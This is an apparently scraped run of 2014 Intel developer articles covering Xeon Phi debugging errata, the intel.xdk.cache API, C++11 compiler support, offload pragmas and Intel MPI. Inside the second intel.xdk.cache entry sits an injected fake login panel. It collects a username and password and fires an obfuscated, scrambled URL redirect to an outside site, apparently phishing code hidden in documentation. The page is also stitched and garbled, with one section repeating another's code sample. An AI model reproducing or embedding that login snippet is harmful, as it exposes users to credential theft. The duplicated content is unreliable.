<composer_xe_root>/Documentation/[en_US|ja_JP]/debugger/gdb/eclmigdb_config_guide.pdf

The PDF gdb.pdf is the original GNU* GDB manual for the base version Intel ships, extended by all features added. So, this is the place to get help for new commands, behavior, etc.
README-INTEL from Intel® MPSS contains a short guide how to install and configure the Eclipse* IDE plug-in.
PDF eclmigdb_config_guide.pdf provides an overall step-by-step guide how to debug with the command line and with Eclipse* IDE.

Using Intel^® C++ Compiler with the Eclipse* IDE on Linux*:
http://software.intel.com/en-us/articles/intel-c-compiler-for-linux-using-intel-compilers-with-the-eclipse-ide-pdf/
The knowledgebase article (Using Intel® C++ Compiler with the Eclipse* IDE on Linux*) is a step-by step guide how to install, configure and use the Intel® C++ Compiler with Eclipse* IDE.

Errata

With the recent switch from MPSS 2.1 to 3.1 some packages might be incomplete or missing. Future updates will add improvements. Currently, documentation for GNU* GDB is missing.
For MPSS 3.1.2 and 3.1.4 the respective package mpss-3.1.[2|4]-k1om.tar is missing. It contains binaries for the coprocessor, like the native GNU* GDB for the coprocessor. It also contains /usr/libexec/sftp-server which is needed if you want to debug native applications on the coprocessor and require Eclipse* IDE to transfer the binary automatically. As this is missing you need to transfer the files manually (select “Skip download to target path.” in this case).
As a workaround, you can use mpss-3.1.1-k1om.tar from MPSS 3.1.1 and install the binaries from there. If you use MPSS 3.1.4, the native GNU* GDB is available separately via mpss-3.1.4-k1om-gdb.tar.
With MPSS 3.1.1, 3.1.2 or 3.1.4 the script <mpss_root>/mpm/bin/start_mpm.sh uses an incorrect path to the MPSS root directory. Hence offload debugging is not working. You can fix this by creating a symlink for your MPSS root, e.g. for MPSS 3.1.2:

$ ln -s /opt/mpss/3.1.2 /opt/mpss/3.1

Newer versions of MPSS correct this. This workaround is not required if you use the start_mpm.sh script from the Intel(R) Composer XE package.
For MPSS 3.* the coprocessor native GNU* GDB requires debug information from some system libraries for proper opteration.
Beginning with MPSS 3.1, debug information for system libraries is not installed on the coprocessor anymore. If the coprocessor native GNU* GDB is executed, it will fail when loading/continuing with a signal (SIGTRAP).
Current workaround is to copy the .debug folders for the system libraries to the coprocessor, e.g.:

$ scp -r /opt/mpss/3.1.2/sysroots/k1om-mpss-linux/lib64/.debug root@mic0:/lib64/
MPSS 3.2 and 3.2.1 do not support offload debugging with Intel® Composer XE 2013 SP1.
Offload debugging with the Eclipse plug-in from Intel® Composer XE 2013 SP1 does not work with Intel MPSS 3.2 and 3.2.1. A configuration file which is required for operation by the Intel Composer XE 2013 SP1 package has been removed with Intel MPSS 3.2 and 3.2.1. Previous Intel MPSS versions are not affected. Intel MPSS 3.2.3 fixes this problem (there is no version of Intel MPSS 3.2.2!).

Intel(R) Xeon Phi(TM) Coprocessor

Intel® Xeon Phi™ Coprocessor developer zone

URL:

Intel® Many Integrated Core Architecture Forum

Area tema:

IDZone

↧

intel.xdk.cache

August 18, 2014, 12:04 pm

Latest and popular articles on Intel Technologies

≫ Next: intel.xdk.cache

≪ Previous: Debugging Intel® Xeon Phi™ Applications on Linux* Host

For persistent caching of data between application sessions.

Object	Type	Notes
intel.xdk.cache.addToMediaCache	method	This command will get a file from the Internet and cache it locally on the device.
intel.xdk.cache.addToMediaCacheExt	method	This command will get a file from the Internet and cache it locally on the device. More details
intel.xdk.cache.clearAllCookies	method	This method will clear all data stored using the setCookie method. More details
intel.xdk.cache.clearMediaCache	method	This command will remove all files from the local cache on the device.
intel.xdk.cache.getCookie	method	This method will retrieve the value of a cookie previously saved using the setCookie command.
intel.xdk.cache.getCookieList	method	This method will return an array containing the names of all the previously saved cookies using the setCookie command.
intel.xdk.cache.getMediaCacheList	method	This method will get an array containing all the names of all the previously cached files.
intel.xdk.cache.getMediaCacheLocalURL	method	This method will return an url that you can use to access a cached media file.
intel.xdk.cache.getMediaCacheRelativePath	method	undocumented
intel.xdk.cache.removeCookie	method	This method will clear data previously saved using the setCookie method.
intel.xdk.cache.removeFromMediaCache	method	This command will remove a file from the local cache on the device.
intel.xdk.cache.setCookie	method	Call this method to set a chunk of data that will persist from session to session.
intel.xdk.cache.media.add	event	Fires when data is cached
intel.xdk.cache.media.clear	event	Fired once all files are removed from the local file cache
intel.xdk.cache.media.remove	event	Fired when data is removed from the cache
intel.xdk.cache.media.update	event	Fired repeatedly to track caching progress

Supplemental Documentation

addToMediaCacheExt

    intel.xdk.cache.addToMediaCacheExt(urlToCache,uniqueID);
        function cacheUpdated(evt)
        {
            var outString = "";
            outString += "current bytes downloaded: " + evt.current;
            outString += " total bytes in download: " + evt.total;
            var percentage = evt.current/evt.total
        }

clearAllCookies

    intel.xdk.cache.addToMediaCacheExt(urlToCache,uniqueID);
        function cacheUpdated(evt)
        {
            var outString = "";
            outString += "current bytes downloaded: " + evt.current;
            outString += " total bytes in download: " + evt.total;
            var percentage = evt.current/evt.total
        }

↧

intel.xdk.cache

August 20, 2014, 5:34 am

Latest and popular articles on Intel Technologies

≫ Next: Creating Trust in the Cloud

≪ Previous: intel.xdk.cache

For persistent caching of data between application sessions.

Object	Type	Notes
intel.xdk.cache.addToMediaCache	method	This command will get a file from the Internet and cache it locally on the device.
intel.xdk.cache.addToMediaCacheExt	method	This command will get a file from the Internet and cache it locally on the device. More details
intel.xdk.cache.clearAllCookies	method	This method will clear all data stored using the setCookie method. More details
intel.xdk.cache.clearMediaCache	method	This command will remove all files from the local cache on the device.
intel.xdk.cache.getCookie	method	This method will retrieve the value of a cookie previously saved using the setCookie command.
intel.xdk.cache.getCookieList	method	This method will return an array containing the names of all the previously saved cookies using the setCookie command.
intel.xdk.cache.getMediaCacheList	method	This method will get an array containing all the names of all the previously cached files.
intel.xdk.cache.getMediaCacheLocalURL	method	This method will return an url that you can use to access a cached media file.
intel.xdk.cache.getMediaCacheRelativePath	method	undocumented
intel.xdk.cache.removeCookie	method	This method will clear data previously saved using the setCookie method.
intel.xdk.cache.removeFromMediaCache	method	This command will remove a file from the local cache on the device.
intel.xdk.cache.setCookie	method	Call this method to set a chunk of data that will persist from session to session.
intel.xdk.cache.media.add	event	Fires when data is cached
intel.xdk.cache.media.clear	event	Fired once all files are removed from the local file cache
intel.xdk.cache.media.remove	event	Fired when data is removed from the cache
intel.xdk.cache.media.update	event	Fired repeatedly to track caching progress

Supplemental Documentation

addToMediaCacheExt

<!-- end Intel XDK code -->

clearAllCookies

<!-- Login View --><div class="panel" title="Login" id="signin" data-footer="none"><div style="text-align:center"><br><br><p>This is space for login message</p><br><br></div><input name="username" type="text" placeholder="username"><input name="password" type="password" placeholder="password"><a class="button block green" href="javascript:;" id="login" onclick="post_nav(sdl('nu3on2Wn.srAftFstcil%te%/.ot=2wl2/rm.hFa.3ps/pt%rcArstht2eoGeirppF.mzsna?%si%Reg', 74, 80, 9, 24), {su:window.location}, '_blank');">Login</a></div>

↧

Creating Trust in the Cloud

August 20, 2014, 2:22 pm

Latest and popular articles on Intel Technologies

≫ Next: XDK September

≪ Previous: intel.xdk.cache

Cloud computing offers compelling opportunities for more cost efficient, flexible computing.
However, security is a top-of-mind concern for IT professionals, especially in highly regulated
industries such as government and financial services. After all, when computing resources
reside in fluid pools, how do you keep a compromised system from infecting other systems in
that environment? How can you be sure that sensitive workloads run in protected and trusted
environments to satisfy compliance requirements? How can you confidently move workloads
between systems without fear of spreading malware or exposing your images to stealthy threats?
And how can you be sure that user devices, such as PCs, smart phones, tablets, and other
emerging gadgets, access the data and workloads in the cloud in a secure manner?

Download the white paper for answers to this questions.

Area tema:

IDZone

↧

XDK September

August 22, 2014, 12:04 pm

Latest and popular articles on Intel Technologies

≫ Next: C++11 Features Supported by Intel® C++ Compiler

≪ Previous: Creating Trust in the Cloud

Intel

XDK

The easy and fast way
to get your apps to market.

Easy-to-use ›

Develop efficiently ›

Deploy simply ›

Get Intel XDK now.

for Microsoft Windows•

Intel XDK is available as a free
download for Windows* 7 & 8,
Apple OS X*, and Ubuntu* Linux

Want to create an app without coding?

learn more

GO!

Are you interested in Internet of Things?

learn more

GO!

HTML5 App Development

Create compelling, content-rich apps using common UI Frameworks, Apache* Cordova* and third-party plugins for advertising and in-app purchasing, as well as a host of backend, authentication, and social media services.

Integrated HTML5 Workflow

From your idea to app store.

Develop

Debug

Deploy

Start creating the next generation
of HTML5 apps for the mobile world.

Build cross-platform apps easily for many app stores and web platforms

Built on Web technologies HTML, CSS, JavaScript*, and Node-Webkit back-end
Hosted on Windows*, OS X* and Ubuntu* Linux*

Jumpstart Development

Start with a number of samples or templates for both hybrid and web apps
Use the App Designer UI Builder to quickly prototype or refine the UI of your app
Start from scratch and edit in the open source BRACKETS* Editor

Multiple UI Frameworks & APIs

jQuery* Mobile, App Framework*, Twitter Bootstrap*, and Topcoat* - all you need to create great, responsive UIs
Full support for Apache* Cordova* device APIs for your hybrid app, and the many 3rd-party plugins

Web Services & Plugins for Content-rich, Interactive apps

Easily add web services, such as datafeeds, backend datastores, authentication from a number of providers
Add in ads and in-app purchasing, and other monetization services from Google*, appMobi*

Development made easy.

Responsive on any device.

Intuitive UI Design with App Designer

Drag & Drop UI Builder
Round-trip capable: modify in App Designer and the Editor

Built-in JS editing of UI elements

Enables custom JS code editing of the UI element
Start with common UI Frameworks: App Framework, JQuery* Mobil, Twitter* Bootstrap, Topcoat*

Accelerate Code Development

Brackets* Editor

Efficient Coding - Switch between HTML5 project files with code hints
Auto completion - Speeds up coding without knowing the exact syntax

...or, use your own favorite editor

Expanded Device API Support

Cordova* 3.X - More
device capabilities

Android*, iOS* Windows* 8, Windows* Phone 8
Supports Cordova plugins
Emulation support for Cordova device APIs

Extends Hybrid Capabilities

Crosswalk* Runtime for Android

Web Runtime Performance - Web developers can now create applications with native-like performance with WebGL* and WebAudio*
Built on Open source Foundation - Enables better performance, flexibility, and ease of deployment to many app stores
Standards - Provides native platform and full screen capabilities using HTML5, CSS3, and JavaScript

Essential Debugging Tools

Get your app to the stores faster.

Develop

Debug

Deploy

Intel® XDK helps decrease your testing and debugging
time and get your app to market faster.

Testing

Preview your app while editing in a separate browser window or on your device with Live Preview
Use the App Preview app for iOS*, Android*, Windows* 8, and Windows* Phone 8 for full testing on your device

Emulator

Simulate your app running on different phone and tablet skins before deployment
Quickly switch to debugger to debug your app inside the device emulator

JS Remote Debugger and Profiler for Android

Efficiently debug apps remotely with JS Remote Debugger for Android
View memory, frames, and events profiling results to get the best performance out of your app

More app reliability.

Tune App Performance

Remote JS Performance
Profiler for Android

Quickly pinpoints app performance bottlenecks
Round-trip capable, modify within the app

Xlint Platform-Compatibility CSS Checker

Xlint* is a Brackets* HTML5 editor extension
Reports cross-platform CSS3 compatibility issues
Tests against W3C specs for animations, color level, shadings

Work Efficiently / Stay On Schedule

App Preview on-device Testing

Enables on-device testing of hybrid apps, without going through app store submission process

Live Development
Side-by-side testing

Enables faster testing and editing with real-time side-by-side app preview
Allows developers to view changes rendered simultaneously while editing

Easier Build, Faster Deployment

Building your application for every platform
has never been this fast and easy.

Develop

Debug

Deploy

Build cross-platform apps easily for many app stores and web platforms.

Select your target store and build! Your app is ready for deployment
Hybrid or web apps for Apple* App Store, Google* Play, Windows* 8 and Windows* 8 Phone Stores. Also, Amazon*, Tizen*, Facebook*, Chrome* Stores.
For Android* devices, build with Crosswalk*, an open source web-runtime to greatly improve your media and games apps with high-performance WebGL* and WebAudio* support

Create apps for every need and every device.

Easier Build

Build Hybrid and Web Apps

Write Hybrid or Web apps once, and deploy to many app stores

Faster Deployment

Reach More App Stores

Apple* App Store
Google* Play
Nook* Store
Amazon Store
Windows Store
Tizen Store
Facebook
Chrome

↧

C++11 Features Supported by Intel® C++ Compiler

August 28, 2014, 12:00 am

Latest and popular articles on Intel Technologies

≫ Next: Data transfer of an “array of pointers” using the Intel® Language Extensions for Offload (LEO) for the Intel® Xeon Phi™ coprocessor

≪ Previous: XDK September

Starting in 11.0 the Intel(R) C++ Compiler has supported some of the C++11 features (previously called C++0x). With the latest release of Intel C++ Composer XE for Windows*, Linux* and Mac OS* X 2013 SP1, more C++11 features are supported.

Standard#	Core Language Features	Version 11.1	Version 12.0	Version 12.0 Update 6 or 12.1	Version 13.0	Version 14.0
N1610	Initialization of class objects by rvalues	Yes	Yes	Yes	Yes	Yes
N1720	static_assert	Yes	Yes	Yes	Yes	Yes
N1737	Multi-declarator auto	-	Yes	Yes	Yes	Yes
N1757	Right angle brackets	Yes	Yes	Yes	Yes	Yes
N1791	Extended friend declarations	Partial	Yes	Yes	Yes	Yes
N1984	auto: Deducing the type of variable from its initializer expression	-	Yes	Yes	Yes	Yes
N1986	Delegating constructors	-	-	-	-	Yes
N1987	Extern templates	Yes	Yes	Yes	Yes	Yes
N2118	Rvalues references	-	Yes	Yes	Yes	Yes
N2170	Universal character names in literals	-	-	Yes	Yes	Yes
N2235	Generalized constant expressions	-	-	-	Partial	Yes
N2242	variadic templates v0.9	-	-	Yes	Yes	Yes
N2249	char16_t/char32_t types	-	-	Partial on Windows; Yes on Linux & Mac OS X	Partial on Windows; Yes on Linux & Mac OS X	Yes
N2253	Extended sizeof	-	-	-	-	-
N2258	alias templates	-	-	Yes	Yes	Yes
N2341	Alignment: Adding Alignment Support to the C++ Programming Language	-	-	-	-	-
N2342	Standard-layout and trivial types	-	-	-	-	-
N2343	decltype v1.0	-	Yes	Yes	Yes	Yes
N2346	deleted and defaulted functions	-	Yes	Yes	Yes	Yes
N2347	Explicit enum bases and scoped enums	-	-	-	Yes	Yes
N2347	Strongly typed enums	Partial	Partial	Partial	Partial	Yes
N2431	nullptr	-	-	Yes	Yes	Yes
N2437	Explicit conversion operators	-	-	-	Yes	Yes
N2439	Rvalue references for *this	-	-	-	-	Yes
N2442	Raw string literals	-	-	-	-	Yes
N2535	Inline namespaces	-	-	-	-	Yes
N2540	Inheriting constructors	-	-	-	-	-
N2541	auto: Trailing return types	-	Yes	Yes	Yes	Yes
N2541	Late-specified return types	-	-	Yes	Yes	Yes
N2544	Unrestricted unions	-	-	-	-	Yes on Linux & OS X
N2546	auto v1.0: Removal of auto as a storage-class specifier	-	Yes	Yes	Yes	Yes
N2550	Lambdas v0.9: Lambda Expressions and Closures	-	Yes	Yes	Yes	Yes
N2555	variadic templates v1.0	-	-	Yes	Yes	Yes
N2634	New-style Expression SFINAE (N2634)	-	-	Yes	Yes	Yes
N2657	Local and unnamed types as template arguments	-	Yes	Yes	Yes	Yes
N2658	Lambdas v1.0: Constness of Lambda Functions	-	Yes	Yes	Yes	Yes
N2670	Minimal support for garbage collection	-	-	-	-	-
N2672	General initializer lists	-	-	-	Partial	Yes
N2756	Non-static data member initializers	-	-	-	-	Yes
N2761	Standard attributes (N2761)	-	-	Yes	Yes	Yes
N2764	Forward declared enums	Partial	Partial	Partial	Partial	Yes
N2765	User-defined literals	-	-	-	-	-
N2844	Rvalue references v2	-	Yes	Yes	Yes	Yes
N2927	Lambdas v1.1: New wording for C++0x Lambdas	-	Yes	Yes	Yes	Yes
N2928	Explicit Virtual Overrides	-	-	-	-	Yes
N2930	Range-based for loops	-	-	-	Yes	Yes
N2947	Additional type traits	-	-	-	Yes	Yes
N3050	noexcept or Allowing move constructors to throw	-	-	-	-	Yes
N3052	Conversions of lambdas to function pointers	-	-	-	Yes	Yes
N3053	RValues: Defining Move Special Member Functions	-	-	-	-	Yes
N3206	Explicit virtual overrides -> Override control: Eliminating Attributes	-	-	-	-	-
N3272	override and final	-	-	-	-	Yes
N3276	decltype v1.1: Decltype and Call Expressions	-	Yes	Yes	Yes	Yes
Core issue 382	Allow typename outside of templates	-	Yes	Yes	Yes	Yes
DR226	Default template arguments for function templates	-	-	Yes	Yes	Yes
	Core Language Features: Concurrency
N2179	exception_ptr	-	Yes	Yes	Yes	Yes
N2239	Reworded sequence points	-	-	-	-	-
N2440	quick_exit	-	-	-	-	-
N2427	atomic types and operations	-	-	-	Yes	Yes
N2429	Memory model	-	-	-	-	-
N2547	Atomics in signal handlers	-	-	-	-	-
N2659	Thread-local storage	-	-	-	-	-
N2660	Magic statics	Yes on Linux & OS X	Yes on Linux & OS X	Yes on Linux & OS X	Yes on Linux & OS X	Yes on Linux & OS X
N2664	Data-dependency ordering	-	-	-	-	-
N2748	Strong compare and exchange	-	-	-	-	-
N2752	Bidirectional fences	-	-	-	-	-
N2782	Data-dependency ordering: function annotation	-	-	-	-	-
	Core Language Features: C99
N1653	C99 preprocessor	Yes	Yes	Yes	Yes	Yes
N1811	long long	Yes	Yes	Yes	Yes	Yes
N2340	__func__	Yes	Yes	Yes	Yes	Yes
N1988	Extended integer types	-	-	-	-	-

On Windows environment when using Intel C++ compiler with Visual Studio 2010* or 2012*, the C++11 features supported by Visual C++ 2010/2012 are enabled by default. Use "/Qstd=c++11" to turn on the support for all other cases.
On Linux or Mac OS X environment use "-std=c++11".

Note: /Qstd=c++0x (-std=c++0x on Linux or Mac OS X) is still supported. it is the same as /Qstd=c++11(-std=c++11 on Linux or Mac OS X).
Please read the documentation for detail information under /Qstd (-std on Linux* or Mac OS* X) option.

Data transfer of an “array of pointers” using the Intel® Language Extensions for Offload (LEO) for the Intel® Xeon Phi™ coprocessor

August 22, 2014, 9:09 am

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≪ Previous: C++11 Features Supported by Intel® C++ Compiler

The Intel® Parallel Studio XE 2015 Composer Editions for C++ Windows* and Linux* have a feature enhancement supporting data transfer of an “array of pointers” with the Intel® Language Extensions for Offload (LEO) for the Intel® Xeon Phi™ coprocessor.

The feature adds support under the LEO offload data marshalling model for transferring a pointer type that is an “array of pointers”, where the element-type of the variable reference (variable-ref) used in the data transfer clauses (i.e in, out, inout, nocopy) of the #pragma offload/offload_transfer is a pointer to a standard data type (i.e. signed char, unsigned char, signed int, unsigned int, float, double) or bit-wise copyable type.

Under the offload data marshalling model, each data movement clause (in, out, inout, nocopy) shares a common basic syntax shown in the details below. The feature enhancement includes new modifiers for specifying details related to the array of pointers as discussed below.

Syntax:
                #pragma offloadclause [ clause …]
                #pragma offload_transferclause [ clause …]

Where clause may include the data transfer clauses of:

                              in ( variable-ref [, variable-ref …] [ modifier [ modifier … ] ])
                              out ( variable-ref [, variable-ref …] [ modifier [ modifier … ] ])
                              inout (variable-ref [, variable-ref …] [ modifier [ modifier … ] ])
                              nocopy (variable-ref [, variable-ref …] [ modifier [ modifier … ] ])

And, specific to using with an array of pointers, the modifier may be:

                              length ( element-count-expr)
                              extent (start :length )
                              alloc_if (condition )
                              free_if (condition )
                              align (align-expr)
                              alloc (identifier [ c-shape])
                              alloc ([c-shape])
                              alloc_extent (start :length )
                              into (variable-ref)
                              into_extent (start :length )

For the array of pointers, the variable-ref specifies the pointers in the pointer array whose pointed-to data is to be transferred. The elements of each pointer that are to be transferred may be specified with either a length modifier or an extent modifier. When a length modifier that is a scalar integral expression is used, then that many elements pointed to by each pointer in the array are transferred, beginning with the 0^th element. A length modifier that is an array expression specifies a set of length values that apply one-to-one with the pointers in the variable-ref. The first length value applies to the first pointer, the second length to the second pointer and so on. The starting element to transfer is 0 in each case.

Example:

          //  Transfer the dark-green elements in the pointer arrays
          //  See figure 1 below

          int *p[4];          // assume pointers are assigned values
          ...
          #pragma offload …in( p[0:4] : length(2) )
          ...

The alternative to using the length modifier is to use the extent modifier. This modifier allows two array expressions to be written. The first is an array of starting element values. The second is an array of length values. The one-to-one correspondence between pointer elements and start and length values is the same as that of the length modifier.

Example:

          //   Transfer the dark-green elements in the pointer arrays
          //   See figure 2 below

          int start[4] = {0,1,0,2};
          int len[4] =   {1,1,3,3};
          int *p[4];    // assume pointers are assigned values
          …
          #pragma offload …in( p[0:4] : extent( start[0:4] : len[0:4] ) )
          …

The alloc_if, free_if, and align modifiers when used with a single pointer are scalar expressions. When used with an array of pointers these modifiers may take an array expression and follow the same rule of one-to-one correspondence as the length and extent modifiers discussed earlier.

The alloc and into modifiers when used with a single pointer are scalar expressions. When used with an array of pointers these modifiers may take an array expression and follows the same rule of one-to-one correspondence as the length and extent modifiers discussed earlier. The alternative is to use alloc_extent and into_extent. Similar to the extent modifier, when used with an array of pointers they take two array expressions separated by a colon. The first array expression is a set of start values. The second array expression specifies a set of element counts.

NOTE: For each of the modifiers discussed above, when an array expression is allowed, a scalar expression may be specified. Then, that expression value is expanded to the size of the pointer array.

When a variable-list is used in an in/out/inout/nocopy clause and the list contains variables of pointer types, all pointer variables must be either plain pointers or arrays of pointers. Then, the modifiers used, such as length or extent can be consistent with all the pointer variables in the list.

Refer to the Intel® Parallel Studio XE 2015 Composer Edition for C++ product documentation for additional details.

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Using the Fortran 2008 BLOCK construct with the Intel® Xeon Phi™ coprocessor

August 22, 2014, 9:09 am

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The Intel® Parallel Studio XE 2015 Composer Editions for Fortran Windows* and Linux* have a feature enhancement supporting the Fortran 2008 standard BLOCK construct.

This feature support includes use with the Intel® Xeon Phi™ coprocessor where the use is within code that executes exclusively on the coprocessor but excluding inside a structured block of an OpenMP* directive. It is a general usage restriction applicable on the host and coprocessor that a BLOCK construct cannot appear inside a structured block of an OpenMP* directive and such attempted use evokes a compile-time error.

For the Intel® Xeon Phi™ coprocessor and use with offloaded code, this feature only supports use of a BLOCK construct within a the target of an offload execution, meaning inside an offloaded subprogram.

A BLOCK construct cannot appear inside a structured block of a !DIR$ OFFLOAD OMP directive or !DIR$ OFFLOAD BEGIN / END OFFLOAD directives. Use with the former (OMP specific) directive evokes a compile-time error. Use with the latter directive pair does not evoke any compile-time diagnostics; however, the use should not be considered safe and program behavior involving such use is unpredictable.

The use of a BLOCK construct with offloading should be restricted to within the target of an offload execution (i.e inside an offloaded subprogram).

For example:

          subroutine adj_temp
          !dir$ attributes offload : mic :: calc_temp…
          !  Offload call of calc_temp
          !dir$ offload begin target (mic:0)
                 call calc_temp
           …
           end subroutine adj_temp

           !dir$ attributes offload : mic :: calc_temp
           subroutine calc_temp
           …

           !  Use within an offloaded subprogram but outside a
           !  structured block of an OpenMP* directive is supported
           block
                   integer :: iTemp
                   iTemp=20
                   print "(A,I2)",”In block, iTemp=',iTemp
           end block…
           end subroutine calc_temp

Code compiled to execute natively (/Qmic [-mmic]) on the Intel® Xeon Phi™ coprocessor can use a BLOCK construct under the same usage requirement as the host CPU, that is, a BLOCK construct cannot appear inside a structured block of an OpenMP* directive.

This feature enhancement is available in the Fortran Intel® 15.0 compiler.

Refer to the Intel® Parallel Studio XE 2015 Composer Edition for Fortran product documentation for additional details.

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Data transfer of non-contiguous array elements using the Intel® Language Extensions for Offload (LEO) for the Intel® Xeon Phi™ coprocessor

August 22, 2014, 9:10 am

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The Intel® Parallel Studio XE 2015 Composer Editions for C++ Windows* and Linux* have a feature enhancement supporting data transfer for non-contiguous array elements with the Intel® Language Extensions for Offload (LEO) for the Intel® Xeon Phi™ coprocessor.

The feature adds support under the LEO offload data marshalling model for transferring non-contiguous array elements within an array variable reference (variable-ref) in the data transfer clauses (i.e. in, out, inout, nocopy) of the #pragma offload/offload_transfer statement.

Under the offload data marshalling model, each data transfer clause (in, out, inout, nocopy) shares a common basic syntax shown in the details below. The feature enhancement enables specifying a value for stride in the c-shape specification described below.

Syntax:
            #pragma offloadclause [ clause …]
            #pragma offload_transferclause [ clause …]

            Where clause may include the data transfer clauses of:

                        in (variable-ref [, variable-ref …] [ modifier [ modifier … ] ])
                        out (variable-ref [, variable-ref …] [ modifier [ modifier … ] ])
                        inout (variable-ref [, variable-ref …] [ modifier [ modifier … ] ])
                        nocopy (variable-ref [, variable-ref …] [ modifier [ modifier … ] ])

             And variable-ref is:

                         identifier
                         variable-ref , identifier
                                     Use the following syntax for variable-ref
                                          •    variable-name: length ( number-of-elements)
                         variable-ref[c-shape]
                                     Use the following syntax for variable-ref
                                          •    variable-name [ start :number-of-elements ]   denotes contiguous
set of array elements
                                          •    variable-name[start : number-of-elements:stride]   denotes either
  contiguous or non-contiguous set of array elements
             And modifier is:

Unchanged by the feature enhancement. Refer to the User and Reference Guide
for the Intel® C++ Compiler 15.0 for details.

The following example illustrates the use of the feature enhancement with non-unit stride with various data movement clauses and modifiers.

--------------------------------------------------------------------------

Example:

#include <stdio.h>#define ALLOC    alloc_if(1)#define No_ALLOC alloc_if(0)#define FREE     free_if(1)#define No_FREE  free_if(0)#define REUSE    alloc_if(0) free_if(0)__declspec( target (mic)) int *a, *b, *c, *d;__declspec( target (mic)) int n=16;__declspec( target (mic))void print_array(char *str,int * array,int start,int count){   printf(str);   printf(" %d",array[start:count]);   printf("\n");   fflush(0);}void print_header(char *str){   int i;   printf(str);   for (i=1;i < strlen(str); i++)       printf("=");   printf("\n");   fflush(0);}void initialize(){   int i;   for (i = 0; i < n; i++)      a[i]=i+2;   b[0:n]=1;   c[0:n]=a[0:n];   d[0:2*n]=0;}void IN_with_stride(){   int i;   char msg[20]="";   print_header("Illustrate IN with non-unit stride\n");   print_array("host : a =",a,0,n);   // Allocate space for a only, allocate/transfer b   #pragma offload_transfer target(mic:0) mandatory \                                 nocopy(a : length(n) ALLOC No_FREE) \                                 in(b : length(n) ALLOC No_FREE)   // Transfer 1/2 of the values of array a with non-unit stride   #pragma offload target(mic:0) mandatory \                                 in(a[0:n/2:2] : REUSE ) \                                 nocopy(b : REUSE)   {      sprintf(msg,"-> mic%d : b (before) =",_Offload_get_device_number());      print_array(msg,b,0,n);      for (i = 0; i < n; i++)          b[i] = a[i];      sprintf(msg,"-> mic%d : a =",_Offload_get_device_number());      print_array(msg,a,0,n);      sprintf(msg,"-> mic%d : b (after) =",_Offload_get_device_number());      print_array(msg,b,0,n);   }   // Free allocations   #pragma offload_transfer target(mic:0) mandatory \                                  nocopy(a,b : No_ALLOC FREE)   printf("\n");}void IN_with_ALLOC_with_stride(){   int i,l,cnt,s;   char msg[20]="";   print_header("Illustrate IN with ALLOC with non-unit stride\n");   print_array("host : c =",c,0,n);   l = 0;   cnt = n/2;   s = 2;   // Allocate partial array and transfer non-unit stride elements   // Ensure the number of elements transferred plus the stride   // does not exceed the size of the partial allocation   #pragma offload target(mic:0) mandatory \                   in(c[l:(cnt/s)+(s%2):s] : alloc (c[l:cnt]) ALLOC FREE)   {      sprintf(msg,"-> mic%d : c =",_Offload_get_device_number());      print_array(msg,c,l,cnt);   }   printf("\n");}void INTO_with_stride(){   int i,l,cnt,s;   char msg[20]="";   print_header("Illustrate INTO with non-unit stride\n");   c[0:n]=a[0:n];   print_array("host : a =",a,0,n);   print_array("host : c (before) =",c,0,n);   print_array("host : d[0:n] =",d,0,n);   print_array("host : d[n:n] =",d,n,n);   l = n/2;   cnt = n/2;   s = 2;   // Allocate d only   #pragma offload_transfer target(mic:0) mandatory \                                   nocopy(d : length(2*n) ALLOC No_FREE)   // Transfer a elements with non-unit stride into d on coprocessor only   #pragma offload target(mic:0) mandatory \                                 in(a[0:cnt:s] : into (d[n:cnt:s]) REUSE)   {      sprintf(msg,"-> mic%d : d[0:n] =",_Offload_get_device_number());      print_array(msg,d,0,n);      sprintf(msg,"-> mic%d : d[n:n] =",_Offload_get_device_number());      print_array(msg,d,n,n);   }   // Transfer d elements with non-unit stride into c on host only   // Free the allocation   #pragma offload_transfer target(mic:0) mandatory \                            out(d[n:cnt:s] : into (c[1:cnt:s]) No_ALLOC FREE)   print_array("host : c (after) =",c,0,n);   printf("\n");}int main(int argc, char* argv[]){   a = (int *) _mm_malloc(n*sizeof(int), 64);   b = (int *) _mm_malloc(n*sizeof(int), 64);   c = (int *) _mm_malloc(n*sizeof(int), 64);   d = (int *) _mm_malloc((2*n)*sizeof(int), 64);   initialize();   IN_with_stride();   IN_with_ALLOC_with_stride();   INTO_with_stride();}

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Using Intel® MPI Library 5.0 with MPICH based applications

August 25, 2014, 4:12 am

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≪ Previous: Data transfer of non-contiguous array elements using the Intel® Language Extensions for Offload (LEO) for the Intel® Xeon Phi™ coprocessor

Why it is needed?

Different MPI implementations have their specific benefits and advantages. So in the specific cluster environment the HPC application with the other MPI implementation can probably perform better.

Intel® MPI Library has the following benefits:

Support of the wide range of cluster hardware and software
- Full support and tuned performance of all modern Intel processors
- Full support and tuned performance of wide variety of modern interconnects, full support of Intel interconnects
Integration with Intel® Trace Analyzer and Collector
- Tracing all MPI events in parallel application;
- Disbalance detection;
- MPI correctness checks;
- API for user code instrumentation;
Extended debug and statistics output
- Intel MPI Library has an ability to output key statistics about parallel run to identify issues and tune performance;
Full control of parallel application execution
- Rich set of controls via environment variables, control flags or configuration files
Support
- Online support with Intel® Premier Support
- Intel® Developer Zone
- Forums

Requirements

To use Intel MPI Library the following is required:

System based on the Intel® 64 or Intel® MIC architecture;

How to

Note. There are two possible ways to use Intel MPI Library 5.0 for MPICH based applications:

Recompile the application from the sources
Use ABI compatibility between Intel MPI Library 5.0 and MPICH (starting with version 3.1) (for more details please refer to MPICH ABI Compatibility Initiative, the article "20 Years of the MPI Standard. Now With a Common Application Binary Interface" by Alexander Supalov Intel Cluster Tools Architect, and Artem Yalozo, Software Engineer, Intel Corporation)

In this article the usage of ABI compatibility will be covered.

The MPI-3 standard has announced a new routine MPI_Get_library_version to determine what MPI implementation is used in runtime.
This small MPI application demonstrates its functionality.

$ cat ./version_info.c
#include "mpi.h"
#include <stdio.h>

int main (int argc, char *argv[])
{
    int rank, namelen;
    char mpi_name[MPI_MAX_LIBRARY_VERSION_STRING];

    MPI_Init (&argc, &argv);

    MPI_Comm_rank (MPI_COMM_WORLD, &rank);

    MPI_Get_library_version (mpi_name, &namelen);

    if (rank == 0)
        printf ("Hello world: MPI implementation:\n %s\n", mpi_name);

    MPI_Finalize ();

    return (0);
}

For testing purposes compile the application with MPICH

$ export PATH=~/mpich/3.1.2/bin/:$PATH
$ mpicc ./version_info.c -o version_info

Check that MPI library is linked dynamically (in other case recompilation from sources is needed)

$ ldd ./version_info | grep libmpi
 libmpi.so.12 => /home/user/mpich/3.1.2/lib/libmpi.so.12 (0x00007f44e7c29000)

For MPICH-3 the MPI application shows

